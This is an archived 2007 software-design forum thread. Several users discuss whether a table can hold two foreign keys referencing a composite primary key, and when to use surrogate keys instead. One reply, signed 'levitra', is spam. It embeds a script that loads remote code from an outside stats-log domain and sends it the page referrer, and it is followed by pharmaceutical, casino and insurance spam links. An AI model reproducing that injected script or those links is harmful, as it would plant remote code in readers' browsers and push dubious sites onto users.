The Design of Software (CLOSED)

A public forum for discussing the design of software, from the user interface to the code architecture. Now closed.

The "Design of Software" discussion group has been merged with the main Joel on Software discussion group.

The archives will remain online indefinitely.

DataBase Design

Hello, I'm wondering about this:


Table1 (T1F1 *, T1F2 fk T2, T1F3 fk T2)
Table2 (T2F1 *, T2F2 *, T2F3)

Where * is PK.

That situation means
Table1 has Two Foreign Keys for T2. Is this possible? Is it common?

I'm asking because I mostly use "fake" PKs (field auto increment). I usually only use Two PK in situations like the following J table:

P (F1 PK)
J (F1 * FK P, F2 * FK J)
J (F1 PK)

Thanks.
LordOfNotCoding
Friday, September 21, 2007
 
 
Two primary keys, or two fields in one primary key? In general, I prefer to see a single field in a primary key except in the case you mention of many-to-many mapping.
George Jansen Send private email
Friday, September 21, 2007
 
 
<quote>
Two primary keys, or two fields in one primary key?
</quote>

Two fields in one primary key.

Just wondering if its *common* for a table to have 2 fields that are FK to 1 other table.
LordOfNotcoding
Friday, September 21, 2007
 
 
I would rather have an identity in the table as a PK independent of the referenced columns, implementing the foreign keys, and if applicable, a unique constraint on the pair of columns.

I generally avoid making primary keys based on logical relationships that may change in the future.
I still code in Delphi
Friday, September 21, 2007
 
 
T2F1 and T2F2 are composites to one primary key.  It must be a natural key.  I see this all the time.

I'm not sure what you are asking:

a) Is it possible?
b) Is it a design you are considering?
c) Is it a design you encountered?
d) Is it kosher?

What?
OneMist8k
Friday, September 21, 2007
 
 
Yes it is possible, and not uncommon.
It is common to use a single surrogate key in place of the compound key to optimize joining and reduce the size of records in related tables. In that case it pays to use a separate table whose sole purpose is to map the compound key to the unique surrogate.
Mikkin
Friday, September 21, 2007
 
 
ccmc974-0wv82om-tw6qf133-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://www.vulcanasic.com#2">bontril</a>
http://www.sketis.com#1
[url=http://web.archive.org/web/20070628235221/http://www.advanced-casinos.com/#3]casinos[/url]
[url]http://doiop.com/-ultram#4[/url]
[http://www.vulcanasic.com#5 bontril]
"online gambling":http://web.archive.org/web/20070211192910/http://www.casino-triumph.com/#6
[LINK http://doiop.com/auto-insurance#7]auto insurance[/LINK]
levitra Send private email
Sunday, September 30, 2007
 
 
Of course ! PK is used just to identify records, and you can references of PK of other tables in this table (FK).

Have as many as you want, as per your design.
Askar Zaidi Send private email
Thursday, October 18, 2007
 
 

This topic is archived. No further replies will be accepted.

Other recent topics Other recent topics
 
Powered by FogBugz